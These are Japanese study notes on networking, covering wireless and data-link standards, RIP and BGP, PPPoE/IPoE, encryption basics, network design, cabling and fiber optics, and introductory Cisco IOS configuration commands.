WIMAXはマイクロ波を利用した世界標準の通信方式。 WiMAXは、当初は例えばユーザ宅と基地局間の長距離の固定の無線通信を目的としていた。

WiMAXの技術に移動体を想定したハンドオーバー(接続する基地局を切り替えること)の仕様を追加した規格のことをモバイルWiMAXと言う。IEEE802.16e-2005で策定されている。

10.1.2. LTE

LTEはモバイル通信の通信用規格。 厳密には第3世代(3G)の拡張版(3.9G)のデータ通信を高速化した規格となっている。

LTEはWIMAXよりも高いデータ転送速度と低い遅延を実現している。 なおIEEEではなく3GPPにより規定されている。

10.1.3. BlueTooth

Bluetoothとは10m~100m以内の近距離で端末同士を1対1でワイヤレス接続することを想定して作られた無線通信技術である。

Bluetooth

10.1.4. ZigBee

ZigBeeとは、IoTやセンサーネットワーク、家電の遠隔制御などに用いられる近距離無線通信規格の一つ。通信速度は遅いが低消費電力で、多数の装置がバケツリレー式にデータを運ぶメッシュネットワークに対応している。 組み込み系の機器の通信によく使われる。

10.1.5. LPWA

LPWAとは「Low Power Wide Area」の略で、「低消費電力で長距離の通信」ができる無線通信技術の総称のことで、最大伝送速度は100bps程度、伝送距離は最大50 km程度。 他の通信方式と比べて、特性が「IoT/M2M」に非常に適しているため、IoT分野の通信に広く利用されている。

10.2. その他のデータリンク層のプロトコルと通信規格

10.2.1. ATM(Asynchronous Transfer Mode)

ATMは広域通信網などで利用される通信プロトコルの一つで、データを53バイトの固定長のセル(cell)と呼ばれる単位に分割して伝送する方式である。

10.2.2. POS(Packet over SONET)

POSとは、パケットを、ATMを使わずに直接SONET/SDHフレームに格納して転送する通信の総称。略称は「POS」。 ATMを用いる従来のIP over ATMなどと比べて、オーバーヘッドが小さいが、ATMのQoSなどの機能が利用できないという欠点もある。

10.2.3. ファイバーチャネル

ファイバチャネルとは、コンピュータと周辺機器間のデータ転送方式のひとつ。「FC」と略されることもある。 接続には最大転送速度32Gbit/sの光ファイバーや同軸ケーブルなどを使用し、最大伝送距離 10kmと、長距離区間の高速データ転送を実現する。

10.2.4. ISCSI

ISCSIとは、コンピュータ本体とストレージ(外部記憶装置)の通信に用いられるSCSIコマンドを、IPネットワーク経由で送受信する通信規約(プロトコル)。TCP/IPベースのコンピュータネットワークにストレージ装置を直に接続することができるようになる。

10.2.5. IEEE1394

IEEE 1394とは、コンピュータと周辺機器やデジタル家電などをケーブルで接続するための通信規格の一つ。最大で63台の機器をデイジーチェーン(数珠つなぎ)接続またはツリー接続することができる。転送速度は初期の規格では100Mbpsだったが、その後3.2Gbps(3200Mbps)まで高速化されている。

10.2.6. HDMI

HDMIとは、「High-Definition Multimedia Interface」の略で、映像・音声・制御信号を1本のケーブルにまとめて送ることができる通信規格のこと。今までは音声・映像信号ごとに色分けされたケーブルが何本か束になったオーディオケーブルを使用していたが、HDMIでは映像・音声の両方を1本のケーブルで送ることができる。配線がシンプルなため、テレビやパソコン、ゲーム機など様々な機器で使われている。

10.2.7. DOCSIS

DOCSISとは、ケーブルテレビ(CATV)の回線を利用して高速なデータ通信を行うための規格。もともと北米の業界団体などが推進していもので、ITU-TS(国際電気通信連合)によってJ.112として標準化された。仕様の検討や製品の認証などは業界団体のCableLabsが行なっている。

10.2.8. 高速PLC

高速PLCは電力線を通信回線としても利用する技術。 450kHz以下の周波数を用いるものを低速PLC、2-30MHzを用いるものを高速PLCと呼ぶこともある。

10.3. その他のルーティングプロトコル/アルゴリズム

10.3.1. RIP

RIPの概要

RIPは最も基本的なルーティングプロトコルで市販ルータにも搭載されている。 特徴は以下の通り。

  • ディスタンスペクタ型
  • ルーティングアップデートは30秒ごとに送信
  • メトリックはホップカウントのみ
  • ホップカウント(通過ルータ数)が16になるとパケット破棄

RIPv2の概要

RIPv2はRIPv1の改良バージョン。 特徴は以下の通り。

  • アップデート認証機能の追加
  • ルーティングアップデートの送信がマルチキャストに変更
  • クラスレスルーティングに対応

10.3.2. BGP

BGPの概要

BGPはAS間で経路情報を交換するEGPのルーティングプロトコル。 つまりISPが管理しているネットワークなどで使用される。 特徴は以下の通り。

  • パスベクタ型
  • 転送プロトコルにTCPを使用
  • ルーティングアップデートは定期的に行わず、変更発生時にのみ差分アップデートする
  • 60万ルート以上をルーティングテーブルに保持可能

BGPのAS番号

BGPではインターネット上での各ASを識別するために番号(AS番号)を割り当てる。 ISP以外にも、大企業、学術研究機関なども1つのASが割り当てられている。

AS番号はICANNという組織により、RIR(Regional Internet Registry)にブロック単位で割り当てされる。 日本ではJPINICやAPNICがAS番号の割り当てを管理している。

またAS番号はグローバルAS番号プライベートAS番号の大きく2つに分類できる。

AS番号AS番号の範囲用途
グローバルAS番号1 ~ 64511インターネット全体で一意のAS番号
プライベートAS番号64512 ~ 65535組織内部で自由に使用できるAS番号

BGPの特徴

BGPでは転送プロトコルにTCPを使用して信頼性のあるルーティングアップデートを行う。 BGPでは定期的なルーティングアップデートは行わず、変更発生時にのみ差分アップデートを行う。 また、BGPではパスアトリビュートという属性をルート情報に付加することによって、経路制御を行える。

10.4. インターネットの接続方式

10.4.1. PPPoE接続方式

PPPoE接続方式は電話回線を前提としたルールであるPPPをイーサネットへ応用した接続方式を指す。

PPPoE方式の場合、インターネットに接続するときに必ずONU(ネットワーク終端装置:電話網とインターネット網を接続する装置)を経由することからトンネル接続方式と呼ばれることもある。

特徴は以下の通り。

  • PPPoEは必ず通信回線をクライアントの通信機器に接続するための機器であるネットワーク終端装置(NTE)を利用する。これには1つのネットワーク終端装置に対して収容できるセッション数が決められているためトラフィック量が増加していくと通信速度が遅くなる

10.4.2. IPoE接続方式

IPoE接続方式は直接インターネットに接続できる接続方式を指す。 またネイティブ接続方式と呼ばれる。

IPoEではネットワーク終端装置(NTE)を必要とせず、ISPを経由してインターネットに直接接続できるため、ネットワーク終端装置での遅延などが発生しにくい特徴がある。

IPoEの利点と欠点は以下の通り。

利点は以下の通り。

  • 高速通信が可能(PPPoEでは最大1GMbps, IPoEでは最大10GMbps)
  • 通信が安定する
  • 簡単に設定できる

欠点は以下の通り。

  • IPv4のみに対応しているWebサイトは閲覧できない(IPoE IPv4 over IPv6を利用すれば可能)
  • 専用のプロバイダ・ルーターを契約する必要がある
  • 外部環境によっては通信速度が落ちる可能性がある

10.5. その他のネットワークの用語

10.6. 暗号化技術の基礎

暗号化方式には共通鍵暗号公開鍵暗号の2つがある。

10.6.1. 共通鍵暗号方式

共通鍵暗号方式では暗号化と復号に同じ鍵を使用します。共通鍵暗号で使用するアルゴリズムには「RC4、DES、3DES、AES」などがある。

現在主流な暗号化方式は「AES」。AESは無線LANのWPA2でも採用されている暗号化方式。 共通鍵暗号では通信接続先ごとに共通鍵を生成する必要があり、また鍵交換を盗聴されないよう安全に行う必要がある。

  • メリット:ファイルやデータの暗号化にかかる処理速度が早い
  • デメリット:データを送る人の数だけ管理する鍵が増える。送信した鍵が第三者に盗まれる危険がある

10.6.2. 公開鍵暗号方式

公開鍵暗号方式では暗号化と復号に別の鍵を使用します。暗号化に使用する鍵は公開鍵と言い、復号に使用する鍵は秘密鍵と言う。 公開鍵暗号では受信者側にて公開鍵と秘密鍵を生成します。暗号データは秘密鍵でしか復号することができない。 公開鍵だけを送信側の暗号鍵として公開して、その公開鍵で暗号化されたデータを秘密鍵を使用して復号する。 公開鍵暗号で使用するアルゴリズムにはRSAとElGamalがある。

  • メリット:作る鍵が1つで済むので管理が楽。鍵を盗まれる危険がない
  • デメリット:データの暗号化にかかる処理速度が遅い

暗号化技術

6.2 - 通信/ネットワーク応用

EGP(BGPなど)ネットワークの専門的なノート(CCNP範囲)

6.3 - ネットワーク設計基礎

エンタープライズなネットワーク設計方法の基礎メモ

6.3.1 - 1.ネットワーク構成の基礎知識

ネットワーク構成の基礎知識

1.1. ネットワーク構築の6フロー

ネットワークはウォーターフロー方式で以下フローで構築される。

  1. 要件定義
  2. 基本設計
  3. 詳細設計
  4. 構築
  5. 試験
  6. 運用
各段階説明作成資料
要件定義システムの要件をヒアリングし要件の明確化を行う要件定義書
基本設計ネットワークのルール/仕様の決定をする基本設計書
詳細設計基本設計の情報をもとに各機器のパラメータ設定値レベルまで設計を落とし込む詳細設計書,機器設定書,パラメータシート
構築詳細設計書の情報をもとに機器の設定/接続を行う作業手順書など
試験構築した環境下で単体試験/正常試験/障害試験などを行う試験仕様書,試験計画書
運用システムを運用するフェーズ。定型作業や障害対応などを行う運用手順書

1.2. 基本設計のフロー

ネットワーク設計では基本設計が最も重要になる。 基本設計は以下の5項目で構成される。

1.2.1. 物理設計

物理的なもの例えばハードウェアやケーブル、ラック電源などのルールを定義する。

1.2.2. 論理設計

ネットワークの論理的な構成、例えばVLAN/IPアドレスの割り当て、ルーティング/NAT変換などの項目のルールを定義する。

1.2.3. セキュリティ設計・負荷分散設計

セキュリティ設計ではファイヤウォールのポリシーの定義を行い、負荷分散設計ではサーバ負荷分散のルールを定義する。

1.2.4. 高可用性設計

高可用性設計ではシステム冗長化に関するルールを定義する。 システムの停止は許されないのですべての部分で冗長化を図る。

具体的にはSTPによる経路冗長化、FHRPによるDGWの冗長化、ルーティングプロトコルの冗長化なども決定する。

1.2.5. 管理設計

管理設計ではシステムの運用管理に関するルールを定義する。 ここでの設計も運用フェーズの運用性/拡張性に直接関わることになる。

6.3.2 - 2.物理層の技術

物理層の技術

2.1. 有線LANで使用されるケーブル

有線LANで使用されるケーブルは主に銅線製のケーブルと光ファイバのケーブルに分類できる。

  • 銅線
    • ツイストペアケーブル(LANケーブル)
    • 同軸ケーブル
  • 光ファイバ
    • シングルモードファイバ(SMF)
    • マルチモードファイバ(MMF)
      • Graded Index型
      • Step Index型
項目ツイストペアケーブル光ファイバケーブル
伝送媒体ガラス
伝送速度遅い速い
信号減衰大きい小さい
伝送距離短い長い
電磁ノイズの影響大きい小さい
取り扱いのしやすさしやすいしにくい
価格安い高い

2.2. ツイストペアケーブルの構造と種類

2.2.1. ツイストペアケーブルの構造

ツイストペアケーブルの命名は○○BASE-T○○BASE-TXで表記される。 この表記のTはツイストペアケーブルを表す

ツイストペアケーブルは8本の銅線を2本ずつペアにツイストし束ねた構造となっている。 ケーブルをアルミ箔なのでシールドしているものはSTPケーブル。 シールド処理をしていないものはUTPケーブルとなる。

STPケーブルは電磁がは多く発生している工場などの特殊な環境で使用される。

2.2.2.ストレートケーブルとクロスケーブル

ツイストペアケーブルはストレートケーブルクロスケーブルの2種類がある。 外見上はRJ-45と呼ばれるコネクタから見える配列が異なる。

ストレートケーブルはMDI、クロスケーブルはMDI-Xという2つの物理ポートタイプがある。

機器ポート
PC,サーバなどMDIポート
スイッチMDI-Xポート

MDIとMDI-Xポートはストレートケーブルで接続。 MDIとMDI、MDI-XとMDI-Xの場合はクロスケーブルで接続する。

最近はAuto MDI/MDI-X機能のおかげでケーブルを気にする機会は減りつつある。 Auto MDI/MDI-X機能は相手のポートタイプを判別し受信送信タイプを切り替える機能となる。

2.2.3. カテゴリ

カテゴリはツイストペアケーブルにある伝送速度に直結する概念。 カテゴリが大きいほど伝送速度が速い規格に対応できる。

カテゴリ対応周波数主な規格最大伝送速度最大伝送距離
cat316Mbps100BASE-T16Mbps100m
cat420MHzToken Ring20Mbps100m
cat5100MHz100BASE-TX100Mbps100m
cat5e250MHz1000BASE-T, 2.5GBASE-T,5GBASE-T1Gbps/2.5Gbps/5Gbps100m
cat6250MHz1000BASE-T,10GBASE-T1Gbps/10Gbps100m/55m
cat6a500MHz10GBASE-T10Gbps100m
cat7600MHz10GBASE-T10Gbps100m

2.2.4. ツイストペアケーブルの規格

100BASE-T

100BASE-TはMDIの1,2番ポートを送信に、3,6番ポートを受信に使用する。 その他のポートは使用しない。

1000BASE-T

1000BASE-Tは100BASE-Tに加えて4,5,7,9番ポートも送受信に使用する特徴がある。 この規格は最近のネットワーク機器で最も使用されている規格となる。

1000BASE-Tは1GBpsという高速通信を実現している。

10GBASE-T

10GBASE-Tは現在使用されているツイストペアケーブル規格の中でもっとも高速なケーブル。 1000BASE-Tは4ペア8芯の銅線をフル使用するのは1000BASE-Tと同じだが、短時間にたくさんのデータを詰め込むことで高い伝送速度を実現している。

2.5G/5GBASE-T

2.5G/5GBASE-Tは2016年に策定された規格でマルチギガビットイーサネットNBASE-Tとも呼ばれる。 特徴としては10GBASE-Tの技術を一部応用し高層化が図られて、2.5G/5Gbpsを実現している。

この2つの規格はcat5eをサポートするため配線時のコストに需要がある。 これは10GBASE-Tでcat5eへの対応を速度を上げる代わりに対応しなかったためにある。

2.2.5. ツイストペアケーブルの注意点

接続時の注意点

ツイストペアケーブルの接続時に気にするポイントは以下の2つ。

  • ポート速度(スピード)
  • 双方向通信方式(デュプレックス)

スピードとデュプレックスの設定を必ず隣接機器と合わせる必要がある。 スピードはPCやサーバのNIC、ネットワーク機器のポートに合わせて設定する。

双方向通信方式は半二重通信全二重通信がある。 半二重通信は10BASE2や10BASE5などの過去の規格で使用されていたが、近年ほとんど利用されない。 現在では全二重通信になるように設定する必要がある。

スピードとデュプレックスに設定は手動もしくはオートネゴシエーションで設定が可能となってる。 なおオートネゴシエーションはFLPという信号をやり取りして決定する。

延長時の注意点

ツイストペアケーブルは仕様上100mまでしか延長できない。 そのためこれ以上延長する場合は中継機器が必要となる。

リピータハブの活用

リピータハブはバカハブとも呼ばれ、受け取った信号をすべてのポートに送る装置。 現在はこの性能がネットワークトラフィック効率敵に良くないためスイッチングハブに置き換わりあまり使われていない。

しかしながらリピータハブはトラブルシューティングに使える。 これはすべてのポートに信号が送られるという仕様が検証用PCに接続しPCでWiresharkなどで確認できるということである。

2.3. 光ファイバケーブルの構造と種類

2.3.1. 光ファイバケーブルの構造

光ファイバケーブルの命名は○○BASE-SX/SR○○BASE-LX/LRで表記される。 この表記のSはShort WavelengthLはLong Wavelengthを表す。 これはそれぞれレーザの種類を表しており、レーザの種類は伝送距離とケーブル直接関係する。

光ファイバケーブルはガラスを細い管にしたものでコアとクラッドという2種類の材質で構成されている。 光の伝送路(モード)はこの2つの材料を2層構造にしたもので構成される。

実際のデータ送信は2芯1対で使用することで全二重通信を可能にしている。 また光ファイバケーブルの特徴としてツイストペアケーブルと比べてかなり長く延長可能となっている。

2.2.2.MMFとSMF

光ファイバケーブルはMMFSMFの2種類がある。

マルチモード光ファイバ(MMF)

MMFはコア径が50μm~62.5μmの光ファイバーケーブルで10GBASE-SRや40GBASE-SR4などに使用されている。 コア径が大きいのでモードが分散しマルチとなる。そのため伝送損失が多くなるため伝送距離は(MAX550m)ほどとなる。

メリットとしてSMFより安く扱いやすいことがある。 またコアの屈折率によりSI型とGI型に2種類があるが、現在はGI型が主流となっている

GI型はコアの屈折率を変化させてすべての光の伝送路が同じ時間で到着するようにしていることで伝送損失を小さくしている。

シングルモード光ファイバ(SMF)

SMFはコア径が8μm~10μmの光ファイバーケーブルで1000BASE-LXや10GBASE-LRなどに使用されている。 またコアとクラッドの屈折率を適切に制御してモードをシングルにしている

そのため長距離伝送に優れており、データセンターやISPの施設でよく利用される。

SMFとMMFの比較表

項目MMFSMF
コア径50~62.5μm8~10μm
クラッド径125μm125μm
モード分散ありなし
伝送距離~550m~70km
伝送損失小さい大きい
取り扱いのしやすさしにくいさらにしにくい
価格高いさらに高い

2.3.2.MPOケーブルとブレイクアウトケーブル

MPOケーブル

MPOケーブルは複数の光ファイバケーブルを1ポンに束ねたケーブルのこと。 両端にはMPOコネクタが装着されている。

MPOケーブルは必要な光ファイバケーブルを減らすことができるためケーブル管理をシンプルにできる特徴がある。 またMPOケーブルの種類は束ねる芯数により種類があり最近は12芯24芯のいずれかが使用される。

ブレイクアウトケーブル

ブレイクアウトケーブル(ファンアウトケーブル)はMPOケーブルで束ねた芯線を途中でばらしてあるケーブル。 ばらすメリットは以下の通り。

  • 接続モジュールパターンが増える
  • 物理接続のバリエーションを増やせる

ブレイクアウトケーブル

2.3.3. 光ファイバケーブルのコネクタ

光ファイバケーブルのコネクタでよく使用されるのはSCコネクタLCコネクタMPOコネクタの3種類がある。

SCコネクタ

SCコネクタはプッシュプル構造のコネクタで安く扱いやすいのが特徴。 使用するのはラック間を接続するバッチパネルやメディアコンバータ/ONUと接続するのに使用される。

最近は集約効率の観点からLCコネクタに置き換えられつつある

LCコネクタ

LCコネクタはツイストペアケーブルと同じコネクタ(RF-45)と同じように差せる特徴がある。 SFP+/QSFP+モジュールとの接続に使用される

MPOコネクタ

MPOコネクタはSCコネクタと同じようにさせるプッシュプル型の構造となっている。 40GBASE-SR4や100GBASE-SR4/10のQSFP28モジュールとの接続時に利用される。

2.3.4. 光ファイバケーブルの規格

光ファイバケーブルの規格は○BASE-□△で表され、の部分がレーザの種類を表す。

10GBASE-R(10GBASE-SR/10GBASE-LR)

10GBASE-Rは1波あたり10Gbpsの光を送受信で流す。 10GBASE-SRと10GBASE-LRの違いは使用する光の波長で、10GBASE-SRは850nmの波長で最大550mまでMMF光ファイバで伝送が可能。 一方10GBASE-LRは1310nmの波長で、SMFで最大10kmまで伝送することが可能となっている。

40GBASE-R(40GBASE-SR4/40GBASE-LR4)

40GBASE-Rは40Gbpsの伝送速度を出せるイーサネット規格のこと。 よく使われるのは40GBASE-SR4と40GBASE-LR4となっている。

40GBASE-SR4は10GBASE-SRを4芯束ねたものに近く、1波当たり10Gbpsを送受信で使用する。 40GBASE-SR4は伝送路を増やすことで高い伝送度を実現措定る。

40GBASE-LR4はWDM(光波長分割多重)と呼ばれる技術で1芯の光ファイバに4本の光を流すことで実現している。

100GBBASE-R(100GBASE-SR10/100GBASE-SR4/100GBASE-LR4)

100GBASE-Rは100Gbpsの伝送速度を出せるイーサネット規格のこと。 よく使われるのは100GBASE-SR10と100GBASE-SR4と100GBASE-LR4となっている。

100GBASE-SR4は価格の下落の関係と、必要な芯数が少ないことからよく使われる。

光ファイバ説明1波当たりの速度使用芯数
100GBASE-SR1010本の10GBASE-SRを束ねたもの10Gbps20本
100GBASE-SR4100GBASE-SR10の後継規格25Gbps8本
100GBASE-LR4100GBASE-SR4/10の合わせたもの--

光ファイバ対応規格表

光ファイバイーサネット規格伝送速度呼称対応ケーブル最大伝送速度 (mまたはkm)トランシーバモジュールコネクタ形状
10GBASE-R10 Gbps10GSMF40 kmSFP+LC
25GBASE-R25 Gbps25GSMF/MMF100 m (MMF), 10 km (SMF)SFP28LC
40GBASE-R40 Gbps40GSMF/MMF100 m (MMF), 10 km (SMF)QSFP+LC, MPO
100GBASE-R100 Gbps100GSMF/MMF100 m (MMF), 10 km (SMF)QSFP28MPO

6.3.3 - 3.物理設計

ネットワークの物理設計

3.1. 物理構成の構成パターン

物理構成で気にするべきことはは管理しやすく、拡張しやすい、将来的な拡張を見据えた物理設計できるようにする必要があることを考えることとなる。

サーバサイトでの物理設計はインライン構成ワンアーム構成の2種類となる。

パラメータインライン構成ワンアーム構成
構成のわかりやすさ
トラブルシューティングのしやすさ
構成の柔軟性
拡張性
冗長性/可用性
採用規模小~中規模大規模

3.1.1. インライン構成

インライン構成は通信経路上にそのまま機器を配置する構成で、現行のサーバサイトで最も採用されている構成。 特徴は以下の通り。

  • 構成がシンプル
  • トラブルシューティングが行いやすい

インライン構成

スクエア構成

スクエア構成と呼ばれるインライン構成の一種。

スクエア構成

特徴は以下の通り。

  • 並列機器間は複数のケーブルで接続
  • 同じ機器を並列化して冗長化する
  • 上下は1本または複数本で接続

3.1.2. ワンアーム構成

ワンアーム構成ではコアスイッチに腕に用に機器を配置する。 サイトの中心のコアスイッチが複数の役割を持つため、インライン構成より構成が分かりにくい。特徴は以下の通り。

  • 柔軟性や拡張性がある
  • データセンタ/マルチテナント環境など大規模サイトで採用
  • コアスイッチに機能が依存している

ワンアーム

ワンアーム構成では冗長化しているコアスイッチはロードバランサやファイヤーウォールからは1つの機器のように見える。

3.1.3. 機器の選定

機器選定のポイントは信頼性コスト運用管理性の3つとなる。

信頼性

信頼性の指標にはMBTFというものがあるが、一般的には各分野における鉄板の機器、メーカを選定することが信頼性を持った機器選定となることが多い。

例えば大規模ネットワークのコアスイッチならCisco、FWならFortinetなど。

コスト

コストを削る際は重要度の低い機器から行うことが重要となる。 一般的には運用管理側の機器などから置き換える。

3.1.4. ハードウェア構成設計

ハードウェア構成設計では機器構成が決まったら、どのくらいのスペックを持つ機器を配置するかを考える。 これは性能設計とも呼ばれ、使用する機能やコスト、スループット、接続数などたくさんの要素から決定する。

特に重要となるのはスループット接続数となる。 この指標は機器選定で絶対的な値で既存機器からこの2つの関連値を取得して把握することが重要になる。 取得にはSNMPで行える。

なお、リプレイスではなく新規構築では想定ユーザ数や使用するプロトコル、アプリケーション、コンテンツサイズとその比率などで予測する。

なお、スループットや接続数は長期的/短期的にアクセスパターンを分析して、その最大値を使用して機器選定を行う

検証環境での実施

環境やコストが許す場合は検証機を用意し、性能試験や負荷試験を実施するのもよい手段となる。 検証機の用意と試験は設定方法やおこりうる不具合をある程度把握することにもつながる。

なお、同じ機器が用意できない場合は、同じハードウェア構成を採用している機器の用意でも最低限は実施できる。 ハードウェア構成が同じであると、性能の違いはCPUクロック数やメモリ/コア数など本番機との差異を抑えることができる。これらを行う際はWEBサイトやマニュアルを熟読することが推奨とされる。

スループットの見積もり

スループットはアプリケーションが実際にデータを転送するときの実行速度のこと。 スループットにはアプリケーションに関する処理遅延が含まれており、規格上の理論値の伝送速度より必ず小さくなる。 必要なスループットは最大同時ユーザ数や使用するアプリケーションのトラフィックパターンなどにより変わるため、それらから推測する。

また機器により使用する機能により最大スループットが低下する場合があるため注意する必要がある。

新規接続数と同時接続数の考慮

接続数はどのくらいのコネクションを処理できるかを表したもので、大きいほどたくさんのデータを処理できる。 ファイヤーウォールや負荷分散装置の選定では特に重要な値となる。

接続数には新規接続数同時接続数の2種類の値がある。

  • 新規接続数 … 1秒間にどのくらいコネクション処理できるかを表す
  • 同時接続数 … 同時にどれくらいコネクションを保持できるかを表す

例えばHTTPでは新規接続数は増えやすいが、同時接続数は増えにくく、FTPでは同時接続数は増えやすいが、新規接続数は増えにくいといったように、使用するアプリケーションや、想定している最大同時ユーザ数により接続数は異なる。

基本的にはゆとりをもって必要性能を見極めた機器選定が重要になる

3.1.5. 仮想化アプライアンスの利用

ネットワーク機器を仮想化したものに仮想アプライアンスというものがある。 近年のネットワーク機器のほとんどがUnix系OSをベースに開発されており、処理の高速化/効率化が行われている。

代表的な仮想アプライアンスを以下に記載する。

  • Cisco
    • Switch
      • Nexus 1000v
    • Router
      • vIOS
    • FW
      • ASAv
  • Juniper
    • Router
      • vMX
    • FW
      • vSRX
  • Fortinet
    • FW
      • FortiGate VM
  • PaloAlto
    • FW
      • VM-Series
  • Imperva
    • FW
      • SecureSphere
      • Virtual Appliances
  • F5
    • LoadBalancer
      • BIG-IP VE

仮想アプライアンスの特徴

仮想アプライアンスの特徴は以下の通り。

  • 設置スペースの省略ができる
  • パフォーマンスが落ちやすい

以上の特徴から、初期の検証環境では仮想アプライアンスを使用し、後期の検証では実機や物理アプライアンスを使用するといったように利用するのが良い。

6.4 - Cisco機器設定基礎

Ciscoのルータ/スイッチなどの設定方法メモ

6.4.1 - 1.CISCO機器の基礎

CISCO機器のL2スイッチやルータを操作・扱うための備忘録を記載する。

1.1. CISCO機器への接続

CISCOのルータやスイッチにアクセスする方法は3つある。

方法説明
コンソール接続ConsoleポートとPCをコンソールケーブルで接続する
VTY(仮想端末)接続ネットワーク経由でリモートでTELNET/SSHで接続する
AUX接続AUXポートとモデムを接続し電話回線経由で接続する

基本的にはコンソール接続やVTY接続はTeraTerm等のターミナルエミュレータを使用して機器にアクセスして設定を行う。

1.1. コンソール接続

コンソールケーブル(ロールオーバケーブル)でPCとルータ等のConsoleポートを接続する方法。 最近はPC側にDB-9コネクタがない場合が多いので、USBへの変換ケーブルを挟んで使用する場合が多い。

1.2. VTY接続

遠隔操作用のプロトコルであるTelnet/SSHを使用して設定/状態確認を行う方法。

Telnetの場合

通信経路上で入力した情報が暗号化されずに平文で送信されるためパスワードなどが漏洩する可能性がある。

SSHの場合

通信経路上で暗号化して送信されるためパスワード等が漏洩する危険性が低い

1.2. CISCOルータ操作の基本知識

1.2.1. CISCOのIOS

CISCO製品のルータやスイッチはCISCO独自のCisco IOSがOSとして使用されている。 アクセスは基本的にはCLIで行う必要がある。

1.2.2. CISCO IOSの初期状態

CISCOルータ/スイッチの初期状態ではアクセスするとSetup モードとなっている。 Setupモードでは質問の1つずつ答えることで設定が可能となるが、一般的には使用されない。 初回時にyesと答えるとSetupモードで設定ができ、noと答えるとSetupモードではなく手動で設定が可能。

1.2.3. CISCO IOSのモード

Cisco IOSには操作モードがいくつかあり、それぞれの状態でできることが異なる。

モード名プロンプト説明
ユーザEXECモード>機器のステータスを確認できるモード
特権EXECモード#制限なく機器の動作/ステータスを確認できるモード
Global Configurationモード(config)#機器全体に関わる設定を行うモード
Interface Configurationモード(config-if)#インターフェイスに関する設定を行うモード
Routing Configurationモード(config-router)#ルーティングに関する設定を行うモード
Line Configurationモード(config-line)#(コンソール、AUX、VTY)に関する設定を行うモード

各モードへの移行は以下図のような関係となる。

IOSモード

ユーザEXECモード

機器のステータスのみを確認できるモード。

特権EXECモード

機器のステータスを制限無しで確認/設定ファイルの操作を行えるモード。

enable

Global Configurationモード

機器全体の設定を行うモード。 具体的にはルータ本体の設定などを行う。

configure terminal
conf t

1.2.4. 設定ファイルとその保存場所

CISCO IOSの重要な設定ファイルにはstartup-configrunning-configという2つのファイルがある。

startup-config

起動時に読み込まれるファイルでNVRAMに保存されるルータが再起動しても内容が消えない設定ファイル。 再起動時にデータが消えないようにするにはこのファイルに書き込む必要がある。

runnning-config

ルータが再起動すると消えるファイル。現在動作している設定内容が保存されているファイル。

ルータのメモリ領域

CISCOルータには4つのメモリ領域がある。

種類保存内容説明
RAMrunning-configなど読み書き可能、電源を消しても内容は消える
NVRAMstartup-config, コンフィギュレーションレジスタ読み書き可能、電源を消しても内容は消えない
ROMMini IOS, POST, BootStrap, ROMモニタ読み書き専用、電源を消しても内容は消えない
フラッシュメモリIOS読み書き可能、電源を消しても内容は消えない

RAMは揮発性メモリであり、running-configやパケットなどを一時保持するバッファ、ルーティングテーブルなどがここに保持される。

NVRAMは不揮発性メモリであり、startup-configやコンフィギュレーションレジスタが保存される。 このコンフィギュレーションレジスタはルータのブート制御に使用される。 以下にコンフィギュアレーションのレジスタ値を示す。

レジスタ値説明
0x2100ROMモニタで起動、パスワード復旧時に使用する
0x2101Mini IOSでブート、IOSバージョンアップで使用する
0x2102通常通りIOSや設定を読み込んで起動
0x2142パスワードリカバリの際に使用される

コンフィギュレーションレジスタ値はshow versionで確認可能。 またコンフィギュレーションレジスタ値の変更はconfigure-registor <レジスタ値>で行う。

ROMはルータ起動/ハードウェアチェックを行うためのプログラムが格納される。 ROMに保存されるプログラムを以下表に示す。

プログラム説明
POSTハードウェアチェックを行う
BootStrapOSをロードする
ROMMONパスワードリカバリやIOSのリカバリの際に使用される
Mini OSIOSの最小限機能を持ち、ハードウェアエラーの際に読み込まれる

フラッシュメモリにはCisco IOSの情報が保持される。

1.2.5. ルータの初期化の方法

ルータの初期化手順は以下の通り。

  1. NVRAM上のstartup-configを消去する
  2. ルータの再起動を行う

コマンドは特権EXECモードで以下の通り行う。

# startup-configの消去
erase startup-config
# 再起動
reload

1.2.6. CISCOルータの起動プロセス

CISCOルータの起動プロセスを以下に示す。

  1. POST(電源投入時自己診断)の実行
  2. BootStrapがCisco IOSをロードする
  3. Cisco IOSが有効なコンフィギュレーションファイルをロードする

1.2.7. コマンド入力補助機能

UNIXコマンドと同じようにCISCO IOSにも似た補完機能がある。

機能入力キー説明
ヘルプ機能?コマンドやオプションを忘れた際に入力中のコマンドに続く候補を教えてくれる
補完機能tabキーコマンドの後ろ部分を保管してくれる機能
直前コマンド入力機能↑キー もしくは Ctrl+P以前に入力したコマンドの表示
次コマンド入力機能↓キー もしくは Ctrl+N次に入力したコマンドの表示
do コマンドGlobal Configurationモードでdoをつけると特権EXECモードでコマンドが実行可能

なおコマンドの履歴は特権EXECモードでshow historyコマンドを実行すると表示される。

1.3. 基本的なCISCOコマンド

1.3.1. showコマンド - 設定などの確認

特権EXECモードでshowを実行することで各種設定を確認できる。

# 現在の設定を確認する例
show running-config
show run

# コマンド履歴の確認
show history

# ConfigureationTerminalとHistoyBufferSizeの表示
show terminal

# インターフェイス情報の詳細表示
show interfaces

# インターフェイス情報の簡潔表示
show interfaces brief

# 時刻の表示
show clock

パイプを使用した絞り込み表示

show running-config | section vlan
コマンド説明
begin指定内容に一致した行から表示の開始
exclude指定内容に一致した行は表示から除く
include指定内容に一致した行のみを表示する
section指定内容に一致したセクションのみを表示する

routerのospf設定のみを表示させる例

show runnning-config | section router ospf

1.3.2. copyコマンド - 設定ファイルの保存

特権EXECモードでcopyを実行することで設定ファイルを保存できる。

copy <コピー元> <コピー先>

startup-configに現行の設定を保存する例

running-configをNVRAMのstartup-configに上書きする。 これによりルータ電源を落としても設定が保存できる。

copy running-config startup-config

running-configをTFTPサーバにコピーする例

TFTPサーバに現行の設定をバックアップするためのコマンド。

copy running-config tftp

TFTPサーバに保存されたルータ設定をrunning-configにコピーする例

copy tftp running-config

1.3.3. hostnameコマンド - ルータ/スイッチの名称変更

特権EXECモードでhostnameを実行することでホスト名を変更、no hostnameでホスト名の設定の削除をできる。

hostname Router1

1.4. CISCO機器へのパスワード設定

1.4.1. ユーザEXECモードへのアクセス制限(Consoleパスワード)

Ciscoルータへ管理アクセスする方法にはコンソールポート経由、AUXポート経由、VTYポート経由の大きく3つある。 3つそれぞれのポートからアクセスする際にパスワードの入力を求めるように設定ができる。

コンソールポートへのパスワード設定

(config)#line console 0
(config-line)#password <パスワード>
(config-line)#login

AUXポートへのパスワード設定

(config)#line aux 0
(config-line)#password <パスワード>
(config-line)#login

VTYポートへのパスワード設定

